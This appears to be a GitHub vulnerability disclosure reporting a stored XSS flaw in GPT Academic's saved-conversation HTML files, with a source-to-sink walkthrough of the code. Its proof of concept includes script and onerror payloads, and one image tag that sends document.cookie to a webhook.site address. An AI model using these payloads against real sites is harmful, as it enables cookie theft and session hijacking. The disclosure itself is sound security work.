Skip to content

Conversation

@geckosecurity
Copy link

Version: Latest

An XSS exists in the conversation history feature of GPT Academic. This allows users to save chat conversations as HTML files, but fails to properly sanitize user input before storing it in these files. When these HTML files are later accessed through the application's /file endpoint, any malicious JavaScript embedded in the conversation executes in the victim's browser.

The vulnerability occurs in the write_chat_to_file() function in crazy_functions/Conversation_To_File.py, where user-controlled content from both questions and answers is directly interpolated into HTML templates without any sanitization or escaping. This creates a persistent XSS where an attacker can craft malicious inputs, save them as conversation files, and share the resulting URLs with victims.

Source-Sink Analysis

  1. Source: User-controlled input in the chat interface

    • Input is received in the chatbot parameter of write_chat_to_file()
    • Both question and answer fields can contain malicious content
  2. Transformation: Unsanitized processing in write_chat_to_file()

    # From crazy_functions/Conversation_To_File.py
    for i, contents in enumerate(chatbot):
        question, answer = contents[0], contents[1]
        if question is None: question = ""
        try: question = str(question)
        except: question = ""
        if answer is None: answer = ""
        try: answer = str(answer)
        except: answer = ""
        CHAT_PREVIEW_BUF += qa_from.format(QUESTION=question, ANSWER=answer)
    • No input validation or sanitization is performed
    • Raw user input is directly inserted into HTML using string formatting
  3. Storage: HTML file creation

    with open(fp, 'w', encoding='utf8') as f:
        html_content = form.format(CHAT_PREVIEW=CHAT_PREVIEW_BUF, HISTORY_PREVIEW=HISTORY_PREVIEW_BUF, CSS=advanced_css)
        f.write(html_content)
    • Malicious HTML/JavaScript is written to a file with a predictable naming pattern
  4. File Access: The /file endpoint in shared_utils/fastapi_server.py serves these HTML files

    @gradio_app.get("/file={path_or_url:path}", dependencies=dependencies)
    async def file(path_or_url: str, request: fastapi.Request):
        # ... (authorization checks)
        return await endpoint(path_or_url, request)
  5. Sink: Browser execution

    • When the HTML file is accessed, any embedded JavaScript executes in the victim's browser context

Proof of Concept

XSS Payload 1:

  1. In the input box, enter the following XSS payload:
    <script>alert("Stored XSS Vulnerability in Conversation History")</script>
    
  2. Submit the payload by clicking the "提交" (Submit) button
  3. Click the "保存当前的对话" (Save current conversation) button
  4. Note the filename (e.g., "GPT-Academic对话存档2023-XX-XX-XX-XX-XX.html")
  5. Access the stored HTML file via:
    http://localhost:22303/file=gpt_log/default_user/chat_history/GPT-Academic对话存档2023-XX-XX-XX-XX-XX.html
    
  6. When the file loads, the JavaScript alert will execute, confirming the vulnerability

XSS Payload 2:

  1. In the chat input box, enter:
    Test Text <img src=x onerror="alert('XSS with cookie: ' + document.cookie)">
    
  2. Follow the same steps as above to save and access the conversation file
  3. The JavaScript in the onerror attribute executes when the image fails to load

XSS Payload 3:

To demonstrate the potential for data theft, use a payload that makes a request to an external server:

<img src="https://webhook.site/YOUR-UNIQUE-ID?cookie="+document.cookie style="display:none">

Replace YOUR-UNIQUE-ID with a unique identifier from webhook.site or a similar service.

Impact

An attacker can:

  • Execute arbitrary JavaScript in victims' browsers
  • Steal sensitive cookies and authentication tokens
  • Perform unauthorized actions with victims' privileges
  • Access sensitive browser data such as localStorage contents

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants